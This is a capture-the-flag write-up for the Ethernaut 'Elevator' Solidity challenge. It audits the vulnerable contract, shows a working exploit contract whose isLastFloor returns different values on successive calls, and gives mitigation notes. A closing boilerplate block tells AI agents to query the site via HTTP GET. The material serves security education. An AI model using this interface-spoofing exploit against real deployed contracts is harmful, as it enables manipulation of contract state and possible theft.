# Elevator

## Description

This elevator won't let you reach the top of your building. Right?

Things that might help:

* Sometimes solidity is not good at keeping promises.
* This `Elevator` expects to be used from a `Building`.

## Background Knowledge

### Ethereum Book

{% embed url="<https://github.com/ethereumbook/ethereumbook/blob/develop/09smart-contracts-security.asciidoc#external-contract-referencing>" %}
External Contract Referencing - Mastering Ethereum
{% endembed %}

## Code Audit

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}
```

Note that the function `isLastFloor()` is called through an **interface**. When `Building building = Building(msg.sender)` is executed, the target contract looks for `isLastFloor()` in the `msg.sender` contract and grabs its content.

This feature was designed for modularity, but it paves the way for vulnerability since the content of `msg.sender` contract is out of control. As an attacker, we can deploy our own contract and implement a "malicious" version of `isLastFloor()` to trick the target contract.

In the function `goTo()`, `isLastFloor()` is called twice:

```solidity
if (! building.isLastFloor(_floor)) {
  floor = _floor;
  top = building.isLastFloor(floor);
}
```

We want `building.isLastFloor(_floor) == false` and `building.isLastFloor(floor) == true`. Thinking abstractly, we just want `isLastFloor()` evaluates to `false` when it is called the first time, and evaluates to `true` when it is called the second time. This "alternating" feature can be implemented with a counter.

## Solution

Write an exploit contract in Remix IDE:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IElevator {
    function goTo(uint _floor) external;
}

contract ElevatorAttack {

    uint counter;

    function attack(address target) external payable {
        IElevator(target).goTo(0);
    }

    function isLastFloor(uint) external returns (bool) {
        // Initially counter == 0
        counter++; // Now counter == 1
        if (counter > 1) return true; // Evaluates to false at call 2
        else return false; // Evaluates to false at call 1
    }
}
```

Deploy it and call the `attack` function.

## Summary

You can use the `view` function modifier on an interface in order to prevent state modifications. The `pure` modifier also prevents functions from modifying the state. Make sure you read [Solidity's documentation](http://solidity.readthedocs.io/en/develop/contracts.html#view-functions) and learn its caveats.

An alternative way to solve this level is to build a view function which returns different results depends on input data but don't modify state, e.g. `gasleft()`.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ret2basic.gitbook.io/ctfwriteup/web3-ctf/ethernaut/elevator.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
